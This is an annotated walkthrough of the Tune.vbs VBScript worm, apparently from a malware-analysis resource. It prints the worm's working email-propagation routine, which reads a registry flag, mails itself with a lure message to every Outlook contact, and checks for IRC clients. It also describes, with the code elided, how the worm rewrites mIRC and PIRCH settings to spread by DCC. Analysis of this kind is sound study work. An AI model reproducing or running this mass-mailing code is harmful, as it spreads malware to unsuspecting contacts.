

Tune.vbs

The tune worm is written in VBScript. It first infects several local folders and sets itself to be run at boot. Tune then copies itself to all network and hard drives before harvesting email addresses from Outlook and propagating via email. Finally, it modifies select IRC clients to send the worm to any person who joins the infected user's IRC channel.



Email Propagation

```

sub sprd()
on error resume next
Dim oShell
Set oShell = Wscript.CreateObject("Wscript.Shell")
Dim strProfile
Dim strAlias, strAliasKey
strProfile =
oShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Sent?")
if strProfile = "" then
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Sent?", "1"
Set Prg = CreateObject("Outlook.Application")
Set Prgl = Prg.GetNameSpace("MAPI")
For y = 1 To Prgl.AddressLists.Count
Set AdBook = Prgl.AddressLists(y)
x = 1
Set Maie = Prg.CreateItem(0)
For oo = 1 To AdBook.AddressEntries.Count
newmailadd = AdBook.AddressEntries(x)
Maie.Recipients.Add newmailadd
x = x + 1
Next
Maie.Subject = "Please Read"
Maie.Body = "Hey, you really need to check out this attached
file I sent you...please check it out as soon as possible."
Maie.Attachments.Add WScript.ScriptFullName
Maie.DeleteAfterSubmit = False
Maie.Send
newmailadd=""
next
else
end if
etc()
end sub

```

Previously Infected?
Check registry to see if emails have been sent before. If not, then proceed. Otherwise, skip to IRC propagation.

Access Outlook/Outlook Express

Send Tune via Email
Loop through all Outlook contacts, sending each of them an email with Tune attached.

Email Message
Subject uninformative while message is ambiguous regarding attachment.

Begin IRC Propagation

```

sub etc()
On Error Resume Next
a=ReportFolderStatus("C:\mirc")
if a="1" then mirc()
b=ReportFolderStatus("C:\pirch98")
if b="1" then pirch9x()
end sub

```

Check for IRC Clients
If mIRC or PIRCH is present, then infect the client.

```

Function ReportFolderStatus(fldr)
On Error Resume Next
Dim fso, msg
Set fso =
CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists(fldr)) Then
msg = "1"
Else
msg = "0"
End If
ReportFolderStatus = msg
End Function

```

Verify Folder Existence
Check to see if a given folder exists.

```
Tune()
```

Main sub Call
Let the mischief begin.

```

sub pirch9x()
...
(code removed for brevity)
...
end sub

```

```

sub mirc()
...
(code removed for brevity)
...
end sub

```

```

Function ReportFileStatus(filespec)
On Error Resume Next
Dim fso, msg
Set fso =
CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(filespec)) Then
msg = "1"
Else
msg = "0"
End If
ReportFileStatus = msg
End Function

```

Verify File Existence
Check to see if a given file exists. Interestingly, this function is never used in Tune.

Modify IRC Client Setup to Automatically Propagate Tune
The initialization files for mIRC or PIRCH (if available) are modified so that the client automatically sends Tune.vbs via DCC to anyone who joins the infected user's channel. Direct Client-to-Client (DCC) is a protocol allowing IRC users to communicate and share files independent of the IRC server.

```

sub editini(filename,section,string,newvalue)
...
(code removed for brevity)
...
end sub

```

Edit Initialization File
Modify a file, placing a given value for the string in the specified section. Used in Tune() and mirc() subs.